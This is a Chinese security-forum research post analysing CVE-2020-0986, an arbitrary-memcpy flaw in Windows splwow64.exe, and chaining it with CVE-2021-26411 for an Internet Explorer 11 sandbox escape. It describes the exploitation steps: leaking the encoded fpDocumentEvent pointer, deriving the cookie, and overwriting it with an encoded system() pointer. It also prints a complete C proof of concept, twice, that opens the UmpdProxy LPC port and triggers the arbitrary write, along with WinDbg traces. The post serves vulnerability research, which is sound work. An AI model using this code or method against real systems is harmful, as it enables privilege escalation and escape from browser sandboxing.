[原创]利用CVE-2020-0986实现IE沙箱逃逸-二进制漏洞-看雪-安全社区|安全招聘|kanxue.com

[原创]利用CVE-2020-0986实现IE沙箱逃逸

发表于: 2021-7-5 17:29 12968

[原创]利用CVE-2020-0986实现IE沙箱逃逸

天玄SecLab

2021-7-5 17:29

12968

作者：Muoziiy@天玄安全实验室
原文链接：https://mp.weixin.qq.com/s/_hyjmkhD_RvKJdsXOt40uA

这篇文章描述如何利用CVE-2020-0986实现IE沙箱逃逸。

本文不会给出完整的利用代码，只分享一些漏洞利用思路。

2021年4月30日，安恒威胁情报中心发布了一篇《深入分析 CVE-2021-26411 IE浏览器UAF漏洞》，里面详细分析了该漏洞的原理和利用过程，文章最后提到 "这种IE漏洞在IE11环境中需要配合一个提权漏洞才能实现代码执行，目前还未见到对这个漏洞配套使用的提权漏洞的披露"，所以本人以研究学习为目的，通过参考 @iamelli0t师傅在2020看雪SDC的演讲内容《逃逸IE浏览器沙箱：在野0Day漏洞利用复现》，复现了CVE-2020-0986的提权EXP，并配合CVE-2021-26411实现了IE 11沙箱逃逸。

CVE-2021-26411已经在安恒的文章中已经做了详细描述，这里就不在介绍。

CVE-2020-0986是用户模式下打印机驱动主进程splwow64.exe存在任意指针取消引用漏洞，该漏洞允许使用任意参数在splwow64.exe进程空间内调用Memcpy函数，这实际上是在splwow64.exe进程空间内实现了一个任意地址写的原语。因为splwow64.exe是IE提权策略的白名单进程，所以可以利用IE的代码执行启动splwow64.exe进程，并通过发送特定LPC消息来操纵splwow64.exe进程内存，实现在splwow64.exe进程中执行任意代码并逃逸IE 11沙箱。

本次分析用到的POC来自google project zero。

一个简单的LPC通信，有以下几个步骤：

在LPC通信过程中，如果报文较大，通信双方就会采用共享内存区的方式交换数据，但会通过报文进行协调同步。

LPC通信流程如下图所示（图片源自 @iamelli0t 师傅在看雪SDC的演讲PPT ）

更多LPC相关内容，请自行查阅，本文不做详述。

目前已知的是通过NtRequestWaitReplyPort发送LPC消息到splwow64.exe进程后，由splwow64!TLPCMgr::ProcessRequest对LPC消息进行处理，所以对splwow64!TLPCMgr::ProcessRequest下断。

rdx=0000000000d7cac0 即为LpcRequest

1623812660207

IDA反汇编 TLPCMgr::ProcessRequest

1622713289115

windbg调试上图所示代码

上面的代码主要做了三件事，先判断LpcRequest.MessageHeader.DataSize是否为0x20，接着判断GDI32!GdiPrinterThunk函数指针是否存在，如果都存在，取LpcRequest.MsgSendLen的值0x88给EBX，然后调用splwow64!operator new 在splwow64.exe进程空间内分配了一块0x88大小的内存空间，接下来我们称这块空间为InputBuffer。

继续看IDA的反汇编代码

1622719910927

首先进行了复制操作，从LPC通信使用的共享内存复制数据到InPutBuffer中，然后取出LpcRequest.PtrMsgReply 的值给v9，接着取出LpcRequest.MsgReplyLen的值给v10，最后取出 LpcRequest.MessageHeader.MessageType的值给 v11。接下来判断v11、v12的值，这里对v11、v12值的判断结果会影响程序流程是否进入存在漏洞的函数。因为v11和v12的值都是从LpcRequest中得到的，所以我们可以通过控制LpcRequest，让程序按照我们预期的流程走，也就是进入gdi32!GdiPrinterThunk函数，在gdi32!GdiPrinterThunk中又调了gdi32full!GdiPrinterThunk函数。

windbg调试上面这块代码

rcx、rdx、r8、r9分别为memcpy_s的四个参数，rcx指向InputBuffer，rdx和r9为size。

r8指向用于LPC通信的共享内存

1622721609328

复制到InputBuffer的数据

接着给v9，v10，v11赋值

经过一系列的判断后，程序最终进入了gdi32full!GdiPrinterThunk，且传入的三个参数为：InputBuffer、PtrMsgReply和MsgReplyLen。

进入gdi32full!GdiPrinterThunk函数后，先获取索引值，因为不同的索引值，会被不同的函数处理。索引值为位于InputBuffer+0x4处的DWORD。

1623379603013

下面是我们期望进入的处理函数，可以看出，当Fun_Index为0x6D，就可以进入我们期望的代码块。

1623380313615

在进入触发漏洞的代码Memcpy前，还要经过4个if判断和一个Decode函数。

1623380851289

这4个if判断的值，都可以被我们直接或间接控制，所以程序最终会来到漏洞函数Memcpy，且三个参数：目的地址、源地址、大小都可以被我们控制，所以这里实现了一个在splwow64进程空间内的 Write What Where Primitive 。Decode函数的作用是对Encode的DocumentEvent指针进行解码，也就是对fpDocumentEvent指针进行解码，从而得到真实的函数指针。

通过上面对POC的分析，我们得到了如下信息。

参考卡巴斯基的分析文章，我们知道fpDocumentEvent函数指针是被编码过的值，且每一次编码得到的值都不同，这取决于当前的Cookie值。

在splwow64.exe中，每一次执行DocumentEvent时，都先将fpDocumentEvent进行解码，从而得到原始的DocumentEvent函数指针，然后再进行调用，而fpDocumentEvent位于splwow64.exe进程的.data 段，也就是说fpDocumentEvent指针的偏移是确定的。

同时我们知道一个事实， Windows 系统上的地址空间布局随机化是基于引导的，也就说当系统启动后，系统DLL的基址就不会改变，直到下次重启系统，所以在EXP中通过手动加载gdi32full.dll，就可以知道当前fpDocumentEvent指针的实际地址。

那么漏洞利用的思路就是，利用任意地址写的原语，将我们想要调用的函数指针，例如system函数指针，替换fpDocumentEvent函数指针，因为DocumentEvent函数在特定索引值的情况下，每次都会被调用，所以当我们替换成功后，实际调用的函数即为system。

漏洞利用简述步骤：

在调试环境下，确定fpDocumentEvent函数指针偏移，这里称为fpDocOffset。

在漏洞利用程序中，手动加载gdi32full.dll和winspool.drv，分别获得gdi32full.dll的BaseAddress和DocumentEvent函数指针。

发送LPC消息到splwow64.exe，获得BaseAddress+fpDocOffset地址处的fpDocumentEvent函数指针。

目前我们已经得到了fpDocumentEvent函数指针和DocumentEvent函数指针，也就是编码前后的函数指针，所以我们可以计算出编码所用的Cookie值，计算公式如下。(源自 @iamelli0t 师傅在看雪SDC的演讲PPT )

通过第四步得到的Cookie值，编码system函数指针，这里我们称编码后的值为fpSystem，编码公式如下。（源自卡巴斯基博客）

继续发送LPC消息，通过共享内存，将fpSystem函数指针填充到BaseAddress+fpDocOffset地址处。

最后再发送一次特定索引值的LPC消息，同时在LPC消息中包含system函数的参数。

下面我们通过调试看看具体的流程

从splwow64.exe进程空间获取fpDocumentEvent函数指针到共享内存

将编码后fpSystem填充到BaseAddress+fpDocOffset地址处。

最后再发送一次LPC消息，同时在LPC消息中包含system函数的参数，实现漏洞利用

1623661001087

至此，我们已经完成的CVE-2020-0986的提权EXP编写。

参考 @iamelli0t师傅在看雪SDC的演讲，IE漏洞和提权漏洞结合流程如下：

1623840877615

如上图所示，CVE-2021-26411配合CVE-2020-0986实现了沙箱逃逸，拿到Medium Integrity权限的shell。

CVE-2021-26411的EXP中使用Windows RPC的方式绕过CFG，这种手法较为新颖，简单使用， @iamelli0t师傅在他的博客中也提到 “有理由相信，它将成为绕过 CFG 缓解的一种新的有效利用技术 ”。

CVE-2021-26411的EXP利用Windows RPC方式绕过CFG流程如下：

本人研究完 CVE-2021-26411的EXP后发现此EXP中使用的RPC手法是通用的，也就是说，在其他漏洞中只要能构造出任意地址读写原语，那一般都可以直接复用此RPC手法实现bypass CFG，一番研究后，本人在CVE-2020-17053上实现了此RPC手法bypass CFG，这里就不再展示。

[1] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

[2] https://zhuanlan.kanxue.com/article-14133.htm

[3] https://googleprojectzero.github.io/0days-in-the-wild/0day-RCAs/2020/CVE-2020-0986.html

[4] https://mp.weixin.qq.com/s?__biz=MzI1MDU5NjYwNg==&mid=2247489493&idx=1&sn=146720b9aa2c5d5b75679e1691cfe231&chksm=e9fe8a44de890352b91696cf57b30c8360f3ab2306ae2e779a5bd2325ef401d4aae5349efc93&scene=178&cur_album_id=1793105970730975235#rd

[5] https://securelist.com/operation-powerfall-cve-2020-0986-and-variants/98329/

[6] https://enki.co.kr/blog/2021/02/04/ie_0day.html

[7] https://iamelli0t.github.io/2021/04/10/RPC-Bypass-CFG.html

[8] https://byteraptors.github.io/windows/exploitation/2020/05/24/sandboxescape.html

#include <iostream>;
#include "windows.h";
#include "Shlwapi.h";
#include "winternl.h";
 
typedef struct _PORT_VIEW
{

        UINT64 Length;

        HANDLE SectionHandle;

        UINT64 SectionOffset;

        UINT64 ViewSize;

        UCHAR* ViewBase;

        UCHAR* ViewRemoteBase;

} PORT_VIEW, * PPORT_VIEW;
 
PORT_VIEW ClientView;
 
typedef struct _PORT_MESSAGE_HEADER {

        USHORT DataSize;

        USHORT MessageSize;

        USHORT MessageType;

        USHORT VirtualRangesOffset;

        CLIENT_ID ClientId;

        UINT64 MessageId;

        UINT64 SectionSize;

} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;
 
typedef struct _PORT_MESSAGE {

        PORT_MESSAGE_HEADER MessageHeader;

        UINT64 MsgSendLen;

        UINT64 PtrMsgSend;

        UINT64 MsgReplyLen;

        UINT64 PtrMsgReply;

        UCHAR Unk4[0x1F8];

} PORT_MESSAGE, * PPORT_MESSAGE;
 
PORT_MESSAGE LpcRequest;
PORT_MESSAGE LpcReply;
 
NTSTATUS(NTAPI* NtOpenProcessToken)(

        _In_ HANDLE ProcessHandle,

        _In_ ACCESS_MASK DesiredAccess,

        _Out_ PHANDLE TokenHandle

        );
 
NTSTATUS(NTAPI* ZwQueryInformationToken)(

        _In_ HANDLE TokenHandle,

        _In_ TOKEN_INFORMATION_CLASS TokenInformationClass,

        _Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,

        _In_ ULONG TokenInformationLength,

        _Out_ PULONG ReturnLength

        );
 
NTSTATUS(NTAPI* NtCreateSection)(

        PHANDLE            SectionHandle,

        ACCESS_MASK        DesiredAccess,

        POBJECT_ATTRIBUTES ObjectAttributes,

        PLARGE_INTEGER     MaximumSize,

        ULONG              SectionPageProtection,

        ULONG              AllocationAttributes,

        HANDLE             FileHandle

        );
 
NTSTATUS(NTAPI* ZwSecureConnectPort)(

        _Out_ PHANDLE PortHandle,

        _In_ PUNICODE_STRING PortName,

        _In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,

        _Inout_opt_ PPORT_VIEW ClientView,

        _In_opt_ PSID Sid,

        _Inout_opt_ PVOID ServerView,

        _Out_opt_ PULONG MaxMessageLength,

        _Inout_opt_ PVOID ConnectionInformation,

        _Inout_opt_ PULONG ConnectionInformationLength

        );
 
NTSTATUS(NTAPI* NtRequestWaitReplyPort)(

        IN HANDLE PortHandle,

        IN PPORT_MESSAGE LpcRequest,

        OUT PPORT_MESSAGE LpcReply

        );
 
int Init()
{

        HMODULE ntdll = GetModuleHandleA("ntdll");
 
        NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");

        if (NtOpenProcessToken == NULL)

        {

                return 0;

        }
 
        ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");

        if (ZwQueryInformationToken == NULL)

        {

                return 0;

        }
 
        NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");

        if (NtCreateSection == NULL)

        {

                return 0;

        }
 
        ZwSecureConnectPort = (NTSTATUS(NTAPI*) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll, "ZwSecureConnectPort");

        if (ZwSecureConnectPort == NULL)

        {

                return 0;

        }
 
        NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");

        if (NtRequestWaitReplyPort == NULL)

        {

                return 0;

        }
 
        return 1;
}
 
int GetPortName(PUNICODE_STRING DestinationString)
{

        void* tokenHandle;

        DWORD sessionId;

        ULONG length;
 
        int tokenInformation[16];

        WCHAR dst[256];
 
        memset(tokenInformation, 0, sizeof(tokenInformation));

        ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);
 
        memset(dst, 0, sizeof(dst));
 
        if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)

                || ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))

        {

                return 0;

        }
 
        wsprintfW(

                dst,

                L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",

                sessionId,

                tokenInformation[2],

                tokenInformation[3],

                0x2000);

        printf("name: %ls\n", dst);

        RtlInitUnicodeString(DestinationString, dst);
 
        return 1;
}
 
HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)
{

        HANDLE sectionHandle = 0;

        HANDLE portHandle = 0;

        union _LARGE_INTEGER maximumSize;

        maximumSize.QuadPart = 0x20000;
 
        if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {

                return 0;

        }

        if (sectionHandle)

        {

                ClientView.SectionHandle = sectionHandle;

                ClientView.Length = 0x30;

                ClientView.ViewSize = 0x9000;

                int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);

                if(retval){

                        return 0;

                }

        }
 
        return portHandle;
}
 
PVOID PrepareMessage()
{

        memset(&LpcRequest, 0, sizeof(LpcRequest));

        LpcRequest.MessageHeader.DataSize = 0x20;

        LpcRequest.MessageHeader.MessageSize = 0x48;
 
        LpcRequest.MsgSendLen = 0x88;

        LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;

        LpcRequest.MsgReplyLen = 0x10;

        LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;
 
        memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));
 
        *(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)

        *((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle

        *((UINT64*)ClientView.ViewBase + 4) = 0x500000005;  // 2nd arg to FindPrinterHandle

        *((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent

        *((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy

        *((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy

        *((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;

        *((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;

        *((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;

        *((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;

        *((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;

        return ClientView.ViewBase;
}
 
void DebugWrite()
{

        printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);
}
 
bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)
{

        *((UINT64*)ClientView.ViewBase + 0xB) = offset;

        *((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;

        memcpy(ClientView.ViewBase + 0x810, buf, size);
 
        DebugWrite();
 
        return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;
 
}
 
int main()
{
 
        Init();

        CHAR Path[0x100];

        GetCurrentDirectoryA(sizeof(Path), Path);

        PathAppendA(Path, "CreateDC.exe");

        if (!(PathFileExistsA(Path)))

        {

                return 0;

        }

        WinExec(Path, 0);
 
        CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);
 
        UNICODE_STRING portName;

        if (!GetPortName(&portName))

        {

                return 0;

        }
 
        HANDLE portHandle = CreatePortSharedBuffer(&portName);

        if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))

        {

                return 0;

        }
 
        PrepareMessage();
 
        printf("Press [Enter] to continue . . .");

        fflush(stdout);

        getchar();

        UINT64 value = 0;

        if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))

        {

                return 0;

        }
 
        printf("Done\n");
 
        return 0;
}

#include <iostream>;

#include "windows.h";

#include "Shlwapi.h";

#include "winternl.h";

typedef struct _PORT_VIEW

{

UINT64 Length;

HANDLE SectionHandle;

UINT64 SectionOffset;

UINT64 ViewSize;

UCHAR* ViewBase;

UCHAR* ViewRemoteBase;

} PORT_VIEW, * PPORT_VIEW;

PORT_VIEW ClientView;

typedef struct _PORT_MESSAGE_HEADER {

USHORT DataSize;

USHORT MessageSize;

USHORT MessageType;

USHORT VirtualRangesOffset;

CLIENT_ID ClientId;

UINT64 MessageId;

UINT64 SectionSize;

} PORT_MESSAGE_HEADER, * PPORT_MESSAGE_HEADER;

typedef struct _PORT_MESSAGE {

PORT_MESSAGE_HEADER MessageHeader;

UINT64 MsgSendLen;

UINT64 PtrMsgSend;

UINT64 MsgReplyLen;

UINT64 PtrMsgReply;

UCHAR Unk4[0x1F8];

} PORT_MESSAGE, * PPORT_MESSAGE;

PORT_MESSAGE LpcRequest;

PORT_MESSAGE LpcReply;

NTSTATUS(NTAPI* NtOpenProcessToken)(

_In_ HANDLE ProcessHandle,

_In_ ACCESS_MASK DesiredAccess,

_Out_ PHANDLE TokenHandle

);

NTSTATUS(NTAPI* ZwQueryInformationToken)(

_In_ HANDLE TokenHandle,

_In_ TOKEN_INFORMATION_CLASS TokenInformationClass,

_Out_writes_bytes_to_opt_(TokenInformationLength, *ReturnLength) PVOID TokenInformation,

_In_ ULONG TokenInformationLength,

_Out_ PULONG ReturnLength

);

NTSTATUS(NTAPI* NtCreateSection)(

PHANDLE SectionHandle,

ACCESS_MASK DesiredAccess,

POBJECT_ATTRIBUTES ObjectAttributes,

PLARGE_INTEGER MaximumSize,

ULONG SectionPageProtection,

ULONG AllocationAttributes,

HANDLE FileHandle

);

NTSTATUS(NTAPI* ZwSecureConnectPort)(

_Out_ PHANDLE PortHandle,

_In_ PUNICODE_STRING PortName,

_In_ PSECURITY_QUALITY_OF_SERVICE SecurityQos,

_Inout_opt_ PPORT_VIEW ClientView,

_In_opt_ PSID Sid,

_Inout_opt_ PVOID ServerView,

_Out_opt_ PULONG MaxMessageLength,

_Inout_opt_ PVOID ConnectionInformation,

_Inout_opt_ PULONG ConnectionInformationLength

);

NTSTATUS(NTAPI* NtRequestWaitReplyPort)(

IN HANDLE PortHandle,

IN PPORT_MESSAGE LpcRequest,

OUT PPORT_MESSAGE LpcReply

);

int Init()

{

HMODULE ntdll = GetModuleHandleA("ntdll");

NtOpenProcessToken = (NTSTATUS(NTAPI*) (HANDLE, ACCESS_MASK, PHANDLE)) GetProcAddress(ntdll, "NtOpenProcessToken");

if (NtOpenProcessToken == NULL)

{

return 0;

}

ZwQueryInformationToken = (NTSTATUS(NTAPI*) (HANDLE, TOKEN_INFORMATION_CLASS, PVOID, ULONG, PULONG)) GetProcAddress(ntdll, "ZwQueryInformationToken");

if (ZwQueryInformationToken == NULL)

{

return 0;

}

NtCreateSection = (NTSTATUS(NTAPI*) (PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, PLARGE_INTEGER, ULONG, ULONG, HANDLE)) GetProcAddress(ntdll, "NtCreateSection");

if (NtCreateSection == NULL)

{

return 0;

}

ZwSecureConnectPort = (NTSTATUS(NTAPI*

) (PHANDLE, PUNICODE_STRING, PSECURITY_QUALITY_OF_SERVICE, PPORT_VIEW, PSID, PVOID, PULONG, PVOID, PULONG)) GetProcAddress(ntdll,

"ZwSecureConnectPort");

if (ZwSecureConnectPort == NULL)

{

return 0;

}

NtRequestWaitReplyPort = (NTSTATUS(NTAPI*) (HANDLE, PPORT_MESSAGE, PPORT_MESSAGE)) GetProcAddress(ntdll, "NtRequestWaitReplyPort");

if (NtRequestWaitReplyPort == NULL)

{

return 0;

}

return 1;

}

int GetPortName(PUNICODE_STRING DestinationString)

{

void* tokenHandle;

DWORD sessionId;

ULONG length;

int tokenInformation[16];

WCHAR dst[256];

memset(tokenInformation, 0, sizeof(tokenInformation));

ProcessIdToSessionId(GetCurrentProcessId(), &sessionId);

memset(dst, 0, sizeof(dst));

if (NtOpenProcessToken(GetCurrentProcess(), 0x20008u, &tokenHandle)

|| ZwQueryInformationToken(tokenHandle, TokenStatistics, tokenInformation, 0x38u, &length))

{

return 0;

}

wsprintfW(

dst,

L"\\RPC Control\\UmpdProxy_%x_%x_%x_%x",

sessionId,

tokenInformation[2],

tokenInformation[3],

0x2000);

printf("name: %ls\n", dst);

RtlInitUnicodeString(DestinationString, dst);

return 1;

}

HANDLE CreatePortSharedBuffer(PUNICODE_STRING PortName)

{

HANDLE sectionHandle = 0;

HANDLE portHandle = 0;

union _LARGE_INTEGER maximumSize;

maximumSize.QuadPart = 0x20000;

if (0 != NtCreateSection(&sectionHandle, SECTION_MAP_WRITE | SECTION_MAP_READ, 0, &maximumSize, PAGE_READWRITE, SEC_COMMIT, NULL)) {

return 0;

}

if (sectionHandle)

{

ClientView.SectionHandle = sectionHandle;

ClientView.Length = 0x30;

ClientView.ViewSize = 0x9000;

int retval = ZwSecureConnectPort(&portHandle, PortName, NULL, &ClientView, NULL, NULL, NULL, NULL, NULL);

if(retval){

return 0;

}

return portHandle;

}

PVOID PrepareMessage()

{

memset(&LpcRequest, 0, sizeof(LpcRequest));

LpcRequest.MessageHeader.DataSize = 0x20;

LpcRequest.MessageHeader.MessageSize = 0x48;

LpcRequest.MsgSendLen = 0x88;

LpcRequest.PtrMsgSend = (UINT64)ClientView.ViewRemoteBase;

LpcRequest.MsgReplyLen = 0x10;

LpcRequest.PtrMsgReply = (UINT64)ClientView.ViewRemoteBase + 0x88;

memcpy(&LpcReply, &LpcRequest, sizeof(LpcRequest));

*(UINT64*)ClientView.ViewBase = 0x6D00000000; //Msg Type (Document Event)

*((UINT64*)ClientView.ViewBase + 3) = (UINT64)ClientView.ViewRemoteBase + 0x100; //First arg to FindPrinterHandle

*((UINT64*)ClientView.ViewBase + 4) = 0x500000005; // 2nd arg to FindPrinterHandle

*((UINT64*)ClientView.ViewBase + 7) = 0x2000000001; //iEsc argument to DocumentEvent

*((UINT64*)ClientView.ViewBase + 0xA) = (UINT64)ClientView.ViewRemoteBase + 0x800; //Buffer out to DocumentEvent, pointer to pointer of src of memcpy

*((UINT64*)ClientView.ViewBase + 0xB) = (UINT64)ClientView.ViewRemoteBase + 0x840; //Destination of memcpy

*((UINT64*)ClientView.ViewBase + 0x28) = (UINT64)ClientView.ViewRemoteBase + 0x160;

*((UINT64*)ClientView.ViewBase + 0x2D) = 0x500000005;

*((UINT64*)ClientView.ViewBase + 0x2E) = (UINT64)ClientView.ViewRemoteBase + 0x200;

*((UINT64*)ClientView.ViewBase + 0x40) = 0x6767;

*((UINT64*)ClientView.ViewBase + 0x100) = (UINT64)ClientView.ViewRemoteBase + 0x810;

return ClientView.ViewBase;

}

void DebugWrite()

{

printf("Copy from 0x%llX to 0x%llX (0x%llX bytes)\n", *((UINT64*)ClientView.ViewBase + 0x100), *((UINT64*)ClientView.ViewBase + 0xB), *((UINT64*)ClientView.ViewBase + 0x10A) >> 48);

}

bool WriteData(HANDLE portHandle, UINT64 offset, UCHAR* buf, UINT64 size)

{

*((UINT64*)ClientView.ViewBase + 0xB) = offset;

*((UINT64*)ClientView.ViewBase + 0x10A) = size << 48;

memcpy(ClientView.ViewBase + 0x810, buf, size);

DebugWrite();

return NtRequestWaitReplyPort(portHandle, &LpcRequest, &LpcReply) == 0;

}

int main()

{

Init();

CHAR Path[0x100];

GetCurrentDirectoryA(sizeof(Path), Path);

PathAppendA(Path, "CreateDC.exe");

if (!(PathFileExistsA(Path)))

{

return 0;

}

WinExec(Path, 0);

CreateDCW(L"Microsoft XPS Document Writer", L"Microsoft XPS Document Writer", NULL, NULL);

UNICODE_STRING portName;

if (!GetPortName(&portName))

{

return 0;

}

HANDLE portHandle = CreatePortSharedBuffer(&portName);

if (!(portHandle && ClientView.ViewBase && ClientView.ViewRemoteBase))

{

return 0;

}

PrepareMessage();

printf("Press [Enter] to continue . . .");

fflush(stdout);

getchar();

UINT64 value = 0;

if (!WriteData(portHandle, 0x4141414141414141, (UCHAR*)&value, 8))

{

return 0;

}

printf("Done\n");

return 0;

}

0:009> bu splwow64!TLPCMgr::ProcessRequest

0:009> bu gdi32full!GdiPrinterThunk

0:009> g

Breakpoint 0 hit
splwow64!TLPCMgr::ProcessRequest:

00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

0:007> r

rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0

rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0

rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478

 r8=000000000279f328  r9=0000000000b6a478 r10=0000000000000000

r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c

r14=0000000000d78778 r15=0000000000000000

iopl=0         nv up ei pl zr na po nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
splwow64!TLPCMgr::ProcessRequest:

00007ff7`0bf176ac 48895c2418      mov     qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

0:009> bu splwow64!TLPCMgr::ProcessRequest

0:009> bu gdi32full!GdiPrinterThunk

0:009> g

Breakpoint 0 hit

splwow64!TLPCMgr::ProcessRequest:

00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

0:007> r

rax=0000000000000000 rbx=0000000000d7ca90 rcx=0000000000d756f0

rdx=0000000000d7cac0 rsi=0000000000d7cac0 rdi=0000000000d786a0

rip=00007ff70bf176ac rsp=000000000279f3c8 rbp=0000000000b6a478

r8=000000000279f328 r9=0000000000b6a478 r10=0000000000000000

r11=0000000000000244 r12=000000007ffe03b0 r13=000000000000022c

r14=0000000000d78778 r15=0000000000000000

iopl=0 nv up ei pl zr na po nc

cs=0033 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246

splwow64!TLPCMgr::ProcessRequest:

00007ff7`0bf176ac 48895c2418 mov qword ptr [rsp+18h],rbx ss:00000000`0279f3e0=0000000000d7ca90

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x6e:

00007ff7`0bf1771a 66833f20        cmp     word ptr [rdi],20h ds:00000000`00d7cac0=0020

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x72:

00007ff7`0bf1771e 418bef          mov     ebp,r15d

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x75:

00007ff7`0bf17721 418bdf          mov     ebx,r15d

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x78:

00007ff7`0bf17724 41be57000000    mov     r14d,57h

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x7e:

00007ff7`0bf1772a 7523            jne     splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x80:

00007ff7`0bf1772c 4d397d48        cmp     qword ptr [r13+48h],r15 ds:00000000`00d75738={GDI32!GdiPrinterThunk (00007ffa`c8e48eb0)} //判断GDI32!GdiPrinterThunk指针

0:007> 

splwow64!TLPCMgr::ProcessRequest+0x84:

00007ff7`0bf17730 741d            je      splwow64!TLPCMgr::ProcessRequest+0xa3 (00007ff7`0bf1774f) [br=0]

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x86:

00007ff7`0bf17732 8b5f28          mov     ebx,dword ptr [rdi+28h] ds:00000000`00d7cae8=00000088

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x89:

00007ff7`0bf17735 8d43f0          lea     eax,[rbx-10h]

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x8c:

00007ff7`0bf17738 3defff0f00      cmp     eax,0FFFEFh

0:007> r eax

eax=78

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x91:

00007ff7`0bf1773d 0f8737030000    ja      splwow64!TLPCMgr::ProcessRequest+0x3ce (00007ff7`0bf17a7a) [br=0]

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x97:

00007ff7`0bf17743 8bcb            mov     ecx,ebx

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x99:

00007ff7`0bf17745 e8de430000      call    splwow64!operator new[] (00007ff7`0bf1bb28)

0:007> p

splwow64!TLPCMgr::ProcessRequest+0x9e:

00007ff7`0bf1774a 488bf0          mov     rsi,rax

0:007> r

rax=0000000000d785e0 rbx=0000000000000088 rcx=000000007ffe0380

rdx=0000000000000001 rsi=0000000000000000 rdi=0000000000d7cac0

rip=00007ff70bf1774a rsp=000000000279f2e0 rbp=0000000000000000

 r8=0000000000000000  r9=0000000000000001 r10=0000000000d70000

r11=000000000279f250 r12=00007ff70bf22048 r13=0000000000d756f0

r14=0000000000000057 r15=0000000000000000

iopl=0         nv up ei pl nz na pe nc

cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000202

splwow64!TLPCMgr::ProcessRequest+0x9e:

00007ff7`0bf1774a 488bf0          mov     rsi,rax

0:007>

